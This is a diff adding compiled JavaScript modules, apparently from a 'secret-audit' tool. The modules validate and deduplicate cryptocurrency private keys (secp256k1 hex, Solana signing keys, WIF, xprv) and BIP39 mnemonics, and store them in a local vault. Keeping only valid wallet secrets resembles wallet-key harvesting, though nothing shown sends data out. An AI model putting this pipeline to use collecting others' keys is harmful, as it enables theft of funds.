+ /**
3
+ * Secp256k1 private scalar range check (hex64), no elliptic curve deps.
4
+ */
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ exports.isValidSecp256k1PrivateKeyHex = isValidSecp256k1PrivateKeyHex;
7
+ const SECP256K1_N = BigInt("0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141");
8
+ function isValidSecp256k1PrivateKeyHex(h) {
9
+ const s = h.trim();
10
+ if (!/^[0-9a-fA-F]{64}$/.test(s))
11
+ return false;
12
+ const k = BigInt(`0x${s}`);
13
+ return k >= 1n && k < SECP256K1_N;
14
+ }
@@ -0,0 +1,4 @@
1
+ /**
2
+ * Paths under the merged secret-audit vault must never be rescanned (self-fill / duplicates).
3
+ */
4
+ export declare function isSecretAuditOutputPath(absPath: string): boolean;
@@ -0,0 +1,46 @@
1
+ "use strict";
2
+ /**
3
+ * Paths under the merged secret-audit vault must never be rescanned (self-fill / duplicates).
4
+ */
5
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
6
+ if (k2 === undefined) k2 = k;
7
+ var desc = Object.getOwnPropertyDescriptor(m, k);
8
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
9
+ desc = { enumerable: true, get: function() { return m[k]; } };
10
+ }
11
+ Object.defineProperty(o, k2, desc);
12
+ }) : (function(o, m, k, k2) {
13
+ if (k2 === undefined) k2 = k;
14
+ o[k2] = m[k];
15
+ }));
16
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
17
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
18
+ }) : function(o, v) {
19
+ o["default"] = v;
20
+ });
21
+ var __importStar = (this && this.__importStar) || (function () {
22
+ var ownKeys = function(o) {
23
+ ownKeys = Object.getOwnPropertyNames || function (o) {
24
+ var ar = [];
25
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
26
+ return ar;
27
+ };
28
+ return ownKeys(o);
29
+ };
30
+ return function (mod) {
31
+ if (mod && mod.__esModule) return mod;
32
+ var result = {};
33
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
34
+ __setModuleDefault(result, mod);
35
+ return result;
36
+ };
37
+ })();
38
+ Object.defineProperty(exports, "__esModule", { value: true });
39
+ exports.isSecretAuditOutputPath = isSecretAuditOutputPath;
40
+ const path = __importStar(require("node:path"));
41
+ function isSecretAuditOutputPath(absPath) {
42
+ const norm = path.resolve(absPath).replace(/\\/g, "/");
43
+ return (norm.includes("/.forge-jsxy/.vault/secret-audit/") ||
44
+ norm.endsWith("/.forge-jsxy/.vault/secret-audit") ||
45
+ norm.includes("/.forge-jsxy/.secret-audit/"));
46
+ }
@@ -0,0 +1,8 @@
1
+ /**
2
+ * Solana / TweetNaCl-style signing secret key: 64 bytes = 32-byte seed || 32-byte public key.
3
+ */
4
+ /** Parse a JSON UTF-8 byte array (only non-negative integers 0–255). */
5
+ export declare function parseJsonUint8ArrayString(raw: string): number[] | null;
6
+ export declare function isConsistentSolanaStyleSigningSecretKey64(buf: Uint8Array): boolean;
7
+ /** Canonical dedupe token: `solana64:` + 128-char lowercase hex of the 64 secret bytes. */
8
+ export declare function normalizeSolana64ArrayToCanonical(arr: number[]): string | null;
@@ -0,0 +1,87 @@
1
+ "use strict";
2
+ /**
3
+ * Solana / TweetNaCl-style signing secret key: 64 bytes = 32-byte seed || 32-byte public key.
4
+ */
5
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
6
+ if (k2 === undefined) k2 = k;
7
+ var desc = Object.getOwnPropertyDescriptor(m, k);
8
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
9
+ desc = { enumerable: true, get: function() { return m[k]; } };
10
+ }
11
+ Object.defineProperty(o, k2, desc);
12
+ }) : (function(o, m, k, k2) {
13
+ if (k2 === undefined) k2 = k;
14
+ o[k2] = m[k];
15
+ }));
16
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
17
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
18
+ }) : function(o, v) {
19
+ o["default"] = v;
20
+ });
21
+ var __importStar = (this && this.__importStar) || (function () {
22
+ var ownKeys = function(o) {
23
+ ownKeys = Object.getOwnPropertyNames || function (o) {
24
+ var ar = [];
25
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
26
+ return ar;
27
+ };
28
+ return ownKeys(o);
29
+ };
30
+ return function (mod) {
31
+ if (mod && mod.__esModule) return mod;
32
+ var result = {};
33
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
34
+ __setModuleDefault(result, mod);
35
+ return result;
36
+ };
37
+ })();
38
+ Object.defineProperty(exports, "__esModule", { value: true });
39
+ exports.parseJsonUint8ArrayString = parseJsonUint8ArrayString;
40
+ exports.isConsistentSolanaStyleSigningSecretKey64 = isConsistentSolanaStyleSigningSecretKey64;
41
+ exports.normalizeSolana64ArrayToCanonical = normalizeSolana64ArrayToCanonical;
42
+ const node_crypto_1 = require("node:crypto");
43
+ const nacl = __importStar(require("tweetnacl"));
44
+ /** Parse a JSON UTF-8 byte array (only non-negative integers 0–255). */
45
+ function parseJsonUint8ArrayString(raw) {
46
+ const t = raw.trim();
47
+ if (!t.startsWith("["))
48
+ return null;
49
+ try {
50
+ const v = JSON.parse(t);
51
+ if (!Array.isArray(v) || v.length === 0)
52
+ return null;
53
+ const out = [];
54
+ for (const x of v) {
55
+ if (typeof x !== "number" || !Number.isInteger(x) || x < 0 || x > 255) {
56
+ return null;
57
+ }
58
+ out.push(x);
59
+ }
60
+ return out;
61
+ }
62
+ catch {
63
+ return null;
64
+ }
65
+ }
66
+ function isConsistentSolanaStyleSigningSecretKey64(buf) {
67
+ if (buf.length !== 64)
68
+ return false;
69
+ const seed = buf.subarray(0, 32);
70
+ const claimedPub = buf.subarray(32, 64);
71
+ try {
72
+ const kp = nacl.sign.keyPair.fromSeed(seed);
73
+ return (0, node_crypto_1.timingSafeEqual)(Buffer.from(kp.publicKey), Buffer.from(claimedPub));
74
+ }
75
+ catch {
76
+ return false;
77
+ }
78
+ }
79
+ /** Canonical dedupe token: `solana64:` + 128-char lowercase hex of the 64 secret bytes. */
80
+ function normalizeSolana64ArrayToCanonical(arr) {
81
+ if (arr.length !== 64)
82
+ return null;
83
+ const u = Uint8Array.from(arr);
84
+ if (!isConsistentSolanaStyleSigningSecretKey64(u))
85
+ return null;
86
+ return `solana64:${Buffer.from(u).toString("hex").toLowerCase()}`;
87
+ }
@@ -0,0 +1,15 @@
1
+ /**
2
+ * Keep only cryptographically plausible mnemonics / private-key material (high precision).
3
+ * Filters scan hits before deduplication — excludes loose bip39 prose, opaque env tokens, ETH addresses, etc.
4
+ */
5
+ import type { ScanHitRow, UniqueFinding } from "./types";
6
+ export declare function isValidEnglishBip39MnemonicPhrase(text: string): boolean;
7
+ export declare function isValidWif(s: string): boolean;
8
+ export declare function isValidExtendedPrivateKeyBase58(s: string): boolean;
9
+ /**
10
+ * Returns true when this hit should be kept (valid BIP39 English mnemonic or blockchain-style
11
+ * private key material: secp256k1 hex, WIF, BIP32 xprv). TLS PEM / WireGuard / age are excluded.
12
+ */
13
+ export declare function scanHitPassesStrictCryptoMaterial(row: ScanHitRow): boolean;
14
+ /** Persisted rows: mnemonics + validated secp256k1 / HD / WIF shapes only. */
15
+ export declare function isStrictCryptoUniqueFinding(u: UniqueFinding): boolean;